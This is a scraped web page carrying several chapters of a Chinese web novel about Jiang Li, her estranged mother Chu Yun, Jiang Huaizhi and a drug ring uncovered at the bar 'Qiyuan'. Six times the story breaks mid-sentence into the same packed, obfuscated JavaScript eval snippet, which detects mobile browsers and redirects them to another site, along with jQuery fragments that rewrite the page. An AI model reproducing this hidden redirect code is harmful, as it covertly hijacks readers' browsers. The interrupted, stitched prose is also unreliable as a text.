树枝被姜梨折断,发出“咔”的一声脆响,她语气淡淡的解释:“不然怎么说她们做贼心虚?沈月汐突然找人杀我不就是因为怕我把视频曝出去吗?反正这个又不能当翻案的证据,留着没什么用,那我还不如拿它换点钱呢。” 合情合理的解释让叶辞松了一口气,那个架势,叶辞差点以为她要谋划杀人报仇了。 “行了,我跟阮经颜在外面溜达呢,这事就到这吧。”姜梨扔掉树杈子,拍了拍手,“谢谢我辞哥~” 阮经颜看着姜梨的侧脸,也没心思再去八卦她和谢鹤扬了。心里止不住想,姜梨现在是在怀疑她和江淮之早就认识了吗?所以才会拖叶辞去查的吧? 她是想起来什么了?还是已经意识到她做过催眠了? 救命啊,心里压着个秘密的感觉是真的好难受…… 姜梨心里还在揣摩几件事,没有察觉到阮经颜的不正常,两个人各怀心思的在街上游荡,走到十字路口时互相道别。 回学校的途中接到了楚云的电话,说是合同已经拟好了,让她到樱洲医院去签字。 姜梨看到楚云的时候眉心跳了一下,隔了一天,感觉她一下子老了十几岁,很是沧桑疲惫。 司氏出了这么大的事,警方发出来的公告也只是撇清了司陆傅三家,同样被查的沈氏却没有被撇清。 沈叙昨晚又和傅绾出了那样的事,也难怪楚云会这么焦头烂额。 “东西呢?”楚云捏着文件,朝她摊开手,一双眼睛里都布满了红血丝。 姜梨摸出塑料薄膜包裹的打火机晃了晃,讽笑了一声:“我可不是你,没有那些见不得人的把戏。合同我过目一遍,没有问题了以后视频和证物我都会给你。” 楚云将文件夹递给了她。 姜梨当真是一行一行的往下看,生怕楚云在合同上动手脚,就这样反复看了两遍,确认没有问题了,她才拿起笔签下自己的名字。 然后拿出手机当场删视频,把打火机扔给了楚云,动作利落干脆。 “在沈家安插眼线,还是个练家子,无声无息的趁乱逃走。”楚云捡起地上的打火机,充血的眼睛紧紧盯着姜梨,笑了一声:“你还真是好心机、好手段,要不是这次月汐对你出手,让她露出了马脚,她还要在沈家藏多久?” 楚云就没有想过,如果她没有让夏栎潜伏在沈家,那么就不会有人第一时间给谢鹤扬他们通风报信,她就会死。 从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293891|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜梨出生的那一天起,楚云就盼着她死,甚至真的在她三岁的时候把她扔进了水池里想要溺死她,是姜祈安和叶止刚好回来看到,把她救起来的。 楚云从头到尾,都不在乎她的生死。 姜梨早就已经看透她了,她再也不是那个还会渴求母爱的小姑娘了,这些从前能轻易激怒她、影响她情绪的话如今都已经不管用了。 楚云和那些贼人都想要她跌进尘埃,甘愿做那个被他们踩在脚下的泥,臣服他们。 姜梨偏不如他们的愿,她非要当那枝浴火的红玫瑰,火焰烧不毁她的根茎,烧不毁盛开的花瓣,只会让她比钻石还要亮。 “你与其在这里和我讨论这些没有用的东西,倒不如动脑子想一想,要怎么样才能让沈氏再次安然无恙的躲过这次调查,又要怎么做才能让姜氏更上一层楼。”姜梨看着手中的合同,笑了笑,“毕竟是你 好不容易才抢到手的东西,还是得用力攥紧了才行啊。” 她说的话瞬间让楚云警铃大作,“你想这点股权抢公司吗?” 抢?鸠占鹊巢,还真把自己当成高高在上的主子了。 姜梨觉得有些好笑,“不要这么着急上火。我呢,只想拿点分红,搞点钱傍身。我是个贪生怕死的人,否则也不会用能为林遥讨回公道的证物来换股份了,况且现在的沈氏和姜氏可谓是烂摊子,我怕是疯了才要跟你们抢。” “缺钱?怎么?江淮之没给你钱啊?他连我给他的股份都转给你了,还会不给你钱吗?” 江淮之给过她一张无限额的黑卡,但是姜梨还一次都没有刷过。他会给,但是姜梨不会用。 至于股份…… 姜梨眼神闪了闪,对她道:“姜氏前任执行总裁是我哥,江淮之认为这本来就是姜家人的东西,为了报恩才转到我名下,至于其他的东西,他凭什么给我?” “也是。”楚云看着她讽笑了一声,“他的旧爱都已经回来了,哪里还会再去管你这个曾经心思不纯的养妹?” “还真是白瞎长了一张跟时愿六七分相像的脸,到头来也是跟你那个爸爸一样,一点作用都没有。” 第104章 她要的公平 姜梨浑浑噩噩的回到宿舍。 楚云最后那句话像乌云一样压在她的脑子里,好似在下雨,惹得她头痛欲裂。 既恶心,又破防。 但是姜梨只会对自己承认,不会对别人承认—— 她因为别人说她跟时愿长得像这件事,破防了。 扭曲的嫉妒心在此刻攀上高峰,姜梨阴暗的像是电视剧里的恶毒女配,她想拿一把刀,刮烂时愿的那张脸。 这个想法冒出来的时候,姜梨也没有被自己吓到,她知道自己不是什么好东西,两年前她在酒吧里被江淮之当成时愿摁着亲的时候,她就已经有过这种想法了。 她现在也只是觉得自己真是窝囊,只敢想,不敢做。 短短两三天里安排了这么多大戏,姜梨脑子累,身体也累,在床上躺着躺着就闭上眼睛睡了过去。 意识消失的上一秒她还在想,迟早有一天她要割掉江淮之那条谎话连篇的舌头,让他学乖。 学不乖,就把他做掉。 宋折窝在酒店套房的卧室里,他半躺在床上,拿着手机犹豫了一个多小时了,迟迟没有拨通江淮之的电话。 他抿了抿唇,索性先给陆七发了条信息。 “七哥,我问你件事,你帮我出出主意?” 陆七大概过了五六分钟才回过来一条:“下次你直接说事,我很忙。” 宋折:“江淮之让我暗地里看着姜梨,然后我今天发现她私底下在联系律师,我偷偷打听了一下,她是去咨询离婚的。我要是跟江淮之说这事,他会不会拿我撒气?” 陆七好像真的很忙,连字都不打了,直接甩过来一条语音:“呵。你现在跟他说他的确有可能会跟你撒气,但是你要是不说,江淮之到时候一定会杀了你。” 宋折眼珠子转了转,继续打字:“要不你帮我跟他说?” 陆七:“滚你妈的,你那算盘珠子都要嘣我脸上了,我和简清时昨晚才被他发疯误伤过,你现在少来祸害我。” “………”宋折叹了一口气,眼睛一闭,心一横,找到江淮之的微信,简单阐述了一下以后,直接把手机给关机了。 惹不起,他还躲不起么? —— 姜梨这一觉直接睡到了晚上六点。 她睁开眼,拉上床帘的的上铺很暗,大脑混混沌沌的,有点分不清今夕是何夕。 就这样呆了五分钟,涣散的瞳孔才慢慢聚焦,死机的大脑重新开始启动、运转。 胡乱的在枕边摸了一通,她眯着眼睛看了一眼手机屏幕,锁屏页面一长串都是微信消息通知。 她没有开静音。 这么多消息轰炸,她居然都没被吵醒,也是够神奇的。 她真是被江淮之这个狗男人给气得睡眠质量都突然变好了。 姜梨的脑海里突然就想起来大型连续剧甄嬛传里的一句台词,还自带语音效果,在耳边回荡—— “这究竟是我的福,还是我的孽?” 她翻了个身,感觉到寒意不断往被窝里钻,冷的又把被子裹紧了一些,然后点进微信里一探究竟。 发现给她发信息的是谢鹤扬,说今天是他的生日,他也不想大办,干脆选了个口碑好点的酒吧,约几个熟人聚一聚。 谢鹤扬估计是看她没回信息,以为她是已读不回,过了两个小时又在后面补了几句话。 “梨妹,我们现在可是一条船上的人。” “不对,我们现在是’情侣‘。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293892|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “男朋友过生日,作为女朋友不来是不是有点不合适?” 姜梨嘴角抽了一下,愤恨的戳着屏幕:“我说,你一句话干嘛要分三条信息发?生怕吵不死人吗?” 谢鹤扬回信息一般都很快,这一次也一样,几乎是秒回。 “你在哪啊?我去接你。” 姜梨:“把地址给我,我自己打车去。” 看到谢鹤扬发来的定位,姜梨眼睛眯了一下,他说的那个口碑好的酒吧居然是‘祈愿’。 慢吞吞的从被窝里爬出来,手掌轻轻拍了拍双颊,然后下床。 外面飘着小雪。 姜梨换了一贴膏药,把脸上的纱布撤掉,换成大号的创口贴,然后在书桌抽屉里翻了一张银行卡出来。 她这张卡里都是帮纪繁星出任务赚到的佣金,昨晚跟纪繁星谈完,今天就已经把说好的拍宣传片的八十万转到了她的卡里。 除了她用出去的,加上这八十万,现在还剩一百五十多万。 她虽然缺钱,但是给谢鹤扬买个生日礼物还是能的。 给港城谢家谢二少送礼,还挺难挑的。 —— 樱洲很繁华,位于市中心的商场更是气派,光是在外面看一眼,都觉得像金子。 网上有一句调侃的话是这么说的,樱洲的商场,电梯是可以拐弯的,连香奶奶都只能在里面摆地摊。 更有网友直言,一个月的工资挂在樱洲商场里的一条毛巾上,甚至可能还不够。 别说是姜梨现在落魄潦倒,身上没几个子儿,就算放在以前她还是姜二小姐的时候,这个商场她总共也没来过几趟。 这章没有结束,请点击下一页 继续阅读! 第105章 要好好谢谢他 姜梨打车到了酒吧门口。 彩色的霓虹灯不断闪烁,五彩斑斓的光洒在站在门口的谢鹤扬脸上,咬了一根烟,神情有些冷淡。 姜梨下了车,抬头看着‘祈愿’的灯牌,下意识皱了一下眉头,那个字还真是刺眼的很。 谢鹤扬看到姜梨,寡淡的眼神变得暗流涌动起来,微微弯腰,将烟头摁在薄雪覆盖的地面上,火光熄灭扔进旁边的垃圾桶。 迈开长腿走近几步。 “生日快乐。”姜梨敛眸,整理了一下情绪,将手里拎着的礼袋递给谢鹤扬。 谢鹤扬认出礼袋上面的logo,知道这个品牌的东西对于现在的姜梨来说实属奢侈。认识姜梨这么久,除了电子产品,他从来没见她身上有什么东西是超过千把块的。 他没接,低头看着她说:“梨妹妹,我只是让你来陪我过个生日而已。” “你刚刚不是说,男朋友过生日,我这个女朋友不来的话不合适吗?”姜梨眨了眨眼,对他道:“那作为女朋友,不送礼也不合适,就……很容易露陷,会让别人觉得假假的。” “那你是不是太实诚了?” 姜梨不解:“什么?” 谢鹤扬直言:“贵啊,你不是缺钱吗?” 姜梨吸了吸鼻子,闷声:“我倒也没有那么穷,我以前参加过很多钢琴比赛和舞蹈比赛,存下来的奖金其实……挺多的。” “那为什么还要为了钱去当杀手,做这么多危险的事?”谢鹤扬怕她觉得是在审问她,弯下腰和她平视,语气和眼神都极尽温柔:“那个时候你都没成年,姜祈安也还没有死,你要用钱为什么不敢跟他说?还求着我都要让我帮你保密,你到底在偷偷做什么事情?” 这一长串的问题已经让谢鹤扬困惑太久,他昨天就想问她了,但是事情太多,人也多,就没有找到机会问清楚。 他凑的太近,烟草气息扑面而来,姜梨的睫毛颤抖,就这样僵持了三分钟,她才小声地开口道:“现在不能告诉你,很快所有人就都会知道我在干什么了。我救过你,你答应过我无论什么事情你都会帮我的。” 谢鹤扬无奈叹气:“梨妹妹,你好好的数一数,我帮了你多少了?只要我在现场,你哪一次做坏事我没帮你?就这样你对我的防备心都很重,离开港城的时候一声不响的。” 姜梨搓了一下礼袋的绳子,“我不是也帮你打掩护了吗?还为了救你开枪杀了好多人,你以为我是铁打的真的什么都不怕啊?你可是被贩毒团伙盯上的人,我怕死,肯定得躲远一点。” 过了许久,谢鹤扬才“嗯”了一声,然后站直身体,把袋子从她手里顺了过来,另一只空闲的手掌朝她摊开,“走吧,‘女朋友’。” 姜梨犹豫了几秒钟,然后把手搭了上去,谢鹤扬顺势握住,牵着她进了酒吧。 —— 昔日安静祥和的司家老宅,今天一片死寂。 苏菱以及她从苏家带过来的所有东西包括几个佣人都已经全部回到了苏家,现在的司家老宅显得有些空荡。 连老宅顶上的一片天都无比昏暗。 司家接连出事,两位老泰山一前一后的去世,司承曜又因为贩毒被警方控制,等他交代完这条链子,估计就要挨枪子儿。 司南泽忧思过度,在早晨五六点的时候高烧不退,心悸不已,被司南衍发现后叫来了家庭医生处理,一直到下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293893|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才稳定下来。 “咳咳咳——” 司南泽半靠着床,后腰垫上了一个枕头,他的脸和嘴唇都是雪白的,眼底有一层青灰色,整间卧室都是他的咳嗽声和气喘声。 苍白,羸弱。 “这几天气温降的厉害,流感肆意,四少爷体弱就不要再随便出门了。”家庭医生一脸严肃的交待,着重点了一句:“尤其是夜间,风霜雨露重,更不能出门。” 司南泽喉咙嘶哑,应了一声:“嗯。” 家庭医生留下几盒药,然后拎着药箱离开。 裴安和司南衍站在床边看着他。 窗帘拉得严实,一点光都不透,房间里开着暖黄色的灯。 安静了好一会,司南泽突然问了一句:“今天外面还在下雪吗?” “小雪。”司南衍回答,又替他掖了一下被子,然后看向同样脸色有些苍白的裴安,眉头微微蹙起:“你们就是这么照顾我哥的?” 裴安低着头,“是属下失职……” 司南衍还想再说什么,被司南泽打断:“跟裴安无关,是我太久没出门,又刚好碰上大雪天,一时贪恋雪色就在外面待的久了点。” “贪恋雪色”四个字被他咬的重了些,司南衍甚至觉得他这次生病好像很高兴。 司南泽闭了闭眼,问他:“大伯去世,父亲入狱,公司现在正逢大乱,你作为江城的执行总裁,怎么还不回去?” 一说起这个司南衍就觉得又气又好笑,“江淮之现在被美色冲昏了头脑,公司乱成一团他不管,父亲入狱他也不管,天天跟时愿厮混在一起。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第106章 各怀鬼胎 书房。 江淮之捏着那枚被姜梨丢下的红钻戒指把玩着,书桌上的手机屏幕亮着,宋折两个时间段发来的信息他都没有回复,清隽的一张脸上蒙着一层阴翳。 “大少爷。”谢铭这时从门外走了进来,手拿着平板放到了江淮之面前,“暮色昨晚的监控我都调出来了,按您的吩咐我从头到尾看了一遍,跟陆总的结论是一样的,没有任何问题。” “昨晚跟沈二少见面的人是楚家六小姐楚柠歌,在这个时间段里,少夫人的确一直都是跟谢鹤扬在一起。” 江淮之看了一下平板上的监控画面,心里的燥意根本无法平复下来,还越烧越旺。 “她今天去商场做了什么,你查到了吗?” 谢铭点头,翕动了一下嘴唇,却又不出声,一副欲言又止的样子。 “说。” “买了一款男士的领带,然后去了‘祈愿’,跟谢鹤……”谢铭每说一个字,江淮之的脸色就越阴沉一分,他一颗心颤啊颤,索性闭上了嘴,低着头不敢看江淮之。 谢鹤扬,谢鹤扬,谢鹤扬! 从昨晚到现在,他听到的最多的就是这个名字。姜梨和谢鹤扬亲在一起了,姜梨和谢鹤扬在约会,姜梨和谢鹤扬在祈愿,姜梨和谢鹤扬……… 姜梨她就这么喜欢跟这种危险的人搅和在一起吗? 还想跟他离婚? 江淮之拿起手机,大步流星的往外走,谢铭拿过平板追上去。 刚出大门,就撞上了走过来的时愿。 时愿愣了一下,然后站在原地仰头看着他,轻言细语:“你要走了吗?” “不走,处理点事。”江淮之敷衍的回了一句,然后就直接想要越过她,却被她一把抓住了手腕。 江淮之凉凉的睨了她一眼,声音却很温凉:“这里是老宅,到处都是佣人,松开好吗?” 时愿被他的眼神吓了一跳,她咬了咬牙忍着没松手,硬着头皮对他说:“哥哥,你今天不是答应要陪我的吗?” 江淮之的表情又冷了一分,忍耐着没动手,又重复了一遍:“我不喜欢不听话的女孩。” 时愿低着眼睛,眼眶红了一圈,不情不愿的把手松开,然后沙哑着嗓子开口:“你是不是要去找姜梨?你就不怕我告诉她你以前……” “时愿。”江淮之出声打断她,手插进外套口袋里,表情缓和了一些,“我是去找陆七,我一向说话算话,所以我晚上会回来陪你。” “听话一点好吗?” 时愿抬头看着他,相信了他的说辞。于是冲他扬起来一个甜笑,一双桃花眼弯成了一对月牙,“好哦,那你早点回来。” 江淮之转身的一瞬间,原本还算和煦的表情又沉了下来,插在口袋里的手早已握成了拳头,咯吱咯吱的响。 —— 谢鹤扬推开包间的门,领着姜梨走进去。 谢鹤枭抬起头,一眼就看到了两个人十指交扣的手。虽然从昨晚就听谢鹤扬念叨,但是亲眼看到还是忍不住挑了一下眉。 同样错愕的还有纪繁星,她问得倒是直白:“你们真谈上啦?不是谢鹤扬口嗨的?” 姜梨笑了笑:“你为什么会觉得是他胡说?” 纪繁星往旁边挪了一下,拍了拍空位,示意她坐过来,“因为江淮之长得比谢鹤扬帅,我以为你这辈子都要吊死在这棵树上。” 谢鹤扬:“………” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293894|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜梨松开谢鹤扬的手,毫不客气的坐到了纪繁星旁边,哼了一声:“他那张脸我都看了有十年了,早就审美疲劳了。” 她顿了顿,在茶几上瞟了一眼,拆了一副牌,手法娴熟的把玩,无所谓的说道:“不过就是一个男人而已,我既拿得起,就能放得下。” “但是,江淮之真的长得好看。”纪繁星想了一圈,把她认识的所有男人都过了一遍,然后感叹:“樱洲和北城的我不认识,但是我觉得港圈里所有的男人都没他好看。” 谢鹤枭没什么表情,倒了半杯果酒递到纪繁星面前,“今天鹤扬生日,在他女朋友面前去夸别的男人,是有点太过分了。” 酒水的颜色是淡蓝色,很好看,浓郁的果香里混着酒香,融合的恰到好处。 纪繁星把酒杯移到一边,“我今天心情非常好,所以不喝酒。” 谢鹤枭没说话,又自然把她移开的酒杯捏进了手里,然后一饮而尽。 谢鹤扬长腿交叠,看着姜梨动作娴熟的耍牌,摸了一下被他放在一旁的纸袋,弯了一下唇:““你生日是什么时候?我得回你个大礼。” 姜梨动作僵了一下,牌洒在了桌子上,甚至有几张掉到了地上。 她眨了一下眼睛,弯腰一张一张捡起来,慢声道:“我从来不过生日,什么时候我早就忘记了。” 纪繁星惊奇的看了她一眼,“就算是不过,也没有人会连这个都能忘记吧?” “我哥说我刚生下来的那天,在医院里楚云抱着我就要从楼上扔下去。”姜梨重新洗了一下牌,表情寡淡,“这种日子如果换成你,你还会想记住吗?” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第107章 演戏应该不用我教吧 震耳欲聋的音乐刺激着人的耳膜,炫彩的灯光诡谲的让人眼神迷离。 姜梨迅速的在人群里穿梭,谢鹤扬被她甩在了身后。 祈愿这个地方,姜梨就算闭着眼睛都能摸得清楚哪是哪,甩掉一个谢鹤扬还是很轻松的。 她绕了一圈,然后快速的溜了出来,到处找纪繁星。 一边找一边想,又有钱到账了。 然而她一楼和二楼都已经找遍了,愣是没有看到纪繁星的影子。 姜梨又去找前台经理拿了通行卡,叶辞是祈愿的老板,自然也知道姜梨是他心尖上的人,甚至都不用找理由,就直接拿到了通行卡。 拿着通行卡乘坐电梯,上了三楼。 “司承德和司乘曜这条线,知道的人就只有你,如果不是你泄露出去,江淮之和司南赫能在这么快的时间里就逮到人吗?!” 突然,姜梨的脚步定在了原地。 因为声音太小,她听得不太真切,只听到了江淮之的名字。 怎么了?江淮之怎么了? 拍了拍耳朵,姜梨的精神高度集中起来。 谢鹤枭眯着眼看着沈叙,反问:“你确定知道这条线的人就只有我?” “不然呢?” “是你不知道还是司南泽不知道?怎么一出事就全部推到我身上来,认定是我这边走漏了消息?”谢鹤枭一脸气定神闲,轻轻的嗤笑一声:“就凭你私自对姜梨动手这一点来看,江淮之不仅能玩你,还能把你当狗玩。” “你干脆直接亲口告诉她,姜祈安是你杀的,快来找你报仇算了。要不是司南泽开口,我都懒得花心思去捞你这种天生的蠢货。” 沈叙气得站起来,一脚踹翻了一边的凳子,双目赤红:“谢鹤枭!” “你们自己出了纰漏,少他妈往我头上安罪名。”谢鹤枭脸色冷了下来,“给你们解决了麻烦还要往我身上甩黑锅,简直岂有此理,你们真当我是活菩萨转世吗?” “嚓!” 一声清脆的响,火柴被划亮,裴安弯下腰给司南泽点上了烟,稍纵即逝的火光掠过他的脸,一双眼睛里没有情绪。 沈叙和谢鹤枭同时看向他,包间里一下子安静下来。 “我不是来看你们推卸责任的。”司南泽吐出一口烟雾,靠着椅背,“阿枭,你不会泄露消息不代表你弟弟和你那个未婚妻不会,你知道这次我们的损失有多惨重吗?” 司南泽磕了一下烟灰,“我不管这次是不是他们两个泄露的信息,我也不想再你维护他们。我最后再给你最后一个月的时间,把这两个碍事的人处理掉。如果之后他们还活着,那我就会亲自动手。” 姜梨的眼睛瞪大,她感觉自己的心脏都要骤停了,呼吸变得无比稀薄,泪腺分泌出大量的眼泪,聚集在眼眶里。 沈叙杀了姜祈安!果然是他! 司南泽就是他背后的毒老大!他还想杀纪繁星和谢鹤扬! “啪!”姜梨的背不小心摁到了墙面上的开关,在寂静的走廊里发出一声清脆的响声。 糟了! 裴安最先反应过来,没有出声,一边走过去一边掏出腰间的枪。 姜梨脸色一瞬间变得惨白,立刻转身就跑。 裴安拉开门的一瞬间就听到了脚步声,他立刻快步追上去,沈叙也随之站起来就要追出去,却被司南泽给喊住了,“你身上还有伤,坐下。” 司南泽摁灭香烟,将烟头扔到了地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293895|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,“毕竟是阿枭的小情人,肯定得是他去追,他知道该怎么做的。” 谢鹤枭一言不发,起身追了出去。 ——— 姜梨一溜烟的跑到一楼,她昨天看得果然没有错,司南泽身边的这个人根本不是普通的保镖,他对祈愿居然也很熟,甚至连酒吧门口都守了两个黑衣人。 她现在这样出去,一定会被查到!他们根本不会放过她的! 姜梨咬了咬牙,随手推开一道门,躲了进去。 关上门的一瞬间,一把枪就抵在了她的后脑勺上。姜梨的身体一颤,头皮开始发麻,后背沁上了一层冷汗,止不住的发凉。 姜梨深吸一口气,她并不打算故技重施装进错房间这一招,而是反手扣住了那人的手腕,让枪口变了一个方向,然后抬起腿,一脚踹在了那人的腹部,趁他脱力就要去夺枪。 谁知黑暗里又冲出来一个人,一把推开姜梨把拿枪的人护在了身后。 房间里没有开灯,一片漆黑的环境下三个人打在一起。 姜梨身手很好,她不仅练过散打,姜祈安还教过她很多的格斗术以及防身术,他教人的方式曾一度让姜梨觉得自己进入了斗兽场,在跟野兽殊死搏斗。 到现在为止,除了姜祈安和江淮之,还没人能打得过她。 对方也没想到姜梨会这么厉害,一个人能打他们两个。 “呃!” 姜梨找准时机,狠狠一脚把其中一个人踹倒在了沙发上,发出一声痛苦的闷哼声。 “给我搜!楚卿然受了枪伤,酒吧外面也早就布好了我们的人,他跑不远,肯定还躲在这里!” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第108章 好近的距离 姜梨摇摇晃晃的站起来,一张脸比上了腮红还要艳丽。 “我和纪繁星出去引开他们,这个房间不能久待,你找准机会跑到酒吧大厅。一会祈愿会来更多的人,你趁乱赶紧跑。”姜梨的脑子已经开始昏沉起来,但是思路却无比清晰。 姜梨清楚的知道,一个缉毒警要是落到了毒枭手里,那简直比直接死了还要可怕。 她已经来不及去问楚卿然到底是怎么回事,只想让他赶紧离开这个对于他来说危机四伏的地方。 “那你们怎么办?” 姜梨没回答他的问题,而是对纪繁星道:“扶着我,去卫生间。” 两个人走得又快又急,刚到门口,姜梨的眼睛闪了闪,看了眼纪繁星,然后两个人直直的朝着一个男人撞了过去。 “不好意思!她喝多了,您没事儿吧?” 男人原本有些不悦,在看清两个人的长相时眼睛瞬间亮了起来,心里那点不悦也烟消云散。抬起胳膊,“顺手”捏住了姜梨的手腕,恶趣味的磨了两下。 姜梨立刻把手抽了回来,疾言厉色道:“你干什么!” 男人讽笑了一声,一把抓住她的手腕,“哎哟,都是来酒吧玩的,你们两个故意往我身上撞,再装贞洁烈女就没意思了。” 姜梨大骂:“我装你妈!” 他们这边的动静很快就惊扰了其他人,包括正在追杀楚卿然的毒贩。 酒吧里这种事情并不少见,围观的群众也只当是看一场好戏,甚至有人起哄。 姜梨平时一杯就醉的人今天吹了一整瓶的红酒,现在她的脑子早就已经成了一团浆糊,感觉自己踩在了棉花上,全身都止不住的发软,轻飘飘的。 那个人的手劲很大,姜梨被扯的趔趄了一下,纪繁星觉得时机差不多了,立刻扯着嗓子大喊:“谢鹤枭!谢鹤扬!救命啊!!!” 姜梨心一横,张嘴就狠狠咬了那个人一口。 男人吃痛,下意识松手,气得骂了姜梨一句,抡起胳膊就要打她。 裴安的动作比谢鹤枭还要快,挡下那人的胳膊,一脚踹在了他的膝盖上。 司南泽说过,遇到姜梨就要像对待他一样。 司南泽是他的主子,姜梨也是他的主子。作为下属,第一任务就是保护主子。 眼看事情越来越糟,酒吧的安保人员走了过来,一边说好话,一边把两帮人分开。 姜梨晕的眼前的景象都在扭曲,已经要分不清楚谁是谁了,被拉着走了好一段路,她好几次都差点跌倒,忍不住喊:“纪繁星,纪繁星……我,我们要去哪里啊?这是上天了吗?不行啊,谢鹤扬还在大厅,我要,要去找他……” 纪繁星:“………” 裴安和谢鹤枭:“………” “你们两个刚刚在哪里?刚刚在包间里的时候还说不喝酒,怎么一眨眼就醉成这样?”纪繁星扶着姜梨,谢鹤枭没办法去牵她,当着裴安的面,他的眼睛直直的盯着纪繁星,像是要将她看穿。 纪繁星的脸颊坨红,虽然没有像姜梨一样说胡话,但是也没有好到哪里去。 “啊……我去找你没找到,就跟姜梨和谢鹤扬去大厅了,很好看!后来,就跟谢鹤扬走散了,姜梨听到情歌,就想江淮之,找了好久都没找到原来的包间在哪,就重新开了一间拉着我去跟她喝酒。” “她好厉害,吹了两瓶!好帅!比男人还帅!就是想渣男不太帅……” 姜梨突然甩开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293896|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,蹲在墙边不动了。 裴安和谢鹤枭停下来,疑惑的看着她。 “我走不动了,你们谁可以背我?” 谢鹤枭毫不犹豫的摇头,拒绝:“要么你自己跟我们走,要么你就在这蹲。” 姜梨又看向裴安,他撇开头,直言:“男女授受不亲,我不敢。” 司南泽会罚他。 “反正我就是走不动了。”姜梨瘪嘴,破罐子破摔:“你们要走就走吧!” 谢鹤枭瞅了她一眼,一把拽过纪繁星,头也不回的往前走。 “姜梨!谢鹤枭!这里可是酒吧,你怎么能把她一个人丢在这里!” 谢鹤枭像是没听到她的话,死死的拽着她上了二楼,回了他们原先的包间。 留下一个裴安,走也不是,不走也不是。 他还是第一次遇到事情,不知道该怎么办,只能打电话给司南泽,让他这个主子下达命令。 “四少爷,我在一楼遇到了姜小姐,她……她喝醉了,在这耍酒疯不肯走。” 姜梨不满:“你才耍酒疯!你全家都耍酒疯!我就是走不动了,想让人背我回去,哪里是在耍酒疯了?” 电话另一边的司南泽听到声音,愣了一下,然后说了一句:“我知道了,在那里等着。” “南衍。”司南泽喊了一声,门外守着的司南衍进来,扶着他。 司南泽扔下一句:“沈大少身上还有伤,不宜喝太多酒,也该回去了。” 然后便往外走,让司南衍带他下楼。 姜梨看着裴安这张一直没有表情的脸,眼睛亮亮的,“大哥,你长得好帅哦~” 这章没有结束,请点击下一页继续阅读! 第109章 她很快就是我们家的人了 “你皮肤好滑,像鸡蛋!” “你的睫毛好长啊,鼻梁也好挺。” “唔,你长得好好看~” 姜梨歪头看着司南泽的侧脸,瞳孔仿佛变成了两颗星星,在发光。她的手也没闲着,一会摸摸他的脸,一会又去摸他的眉骨和嘴巴。 电梯门此时打开,司南泽托着她的腿弯,手背的青筋鼓了起来,嘴唇紧抿成了一条线。一双眸子依旧无神的看着前方,裴安给司南泽指路,当他的眼睛。 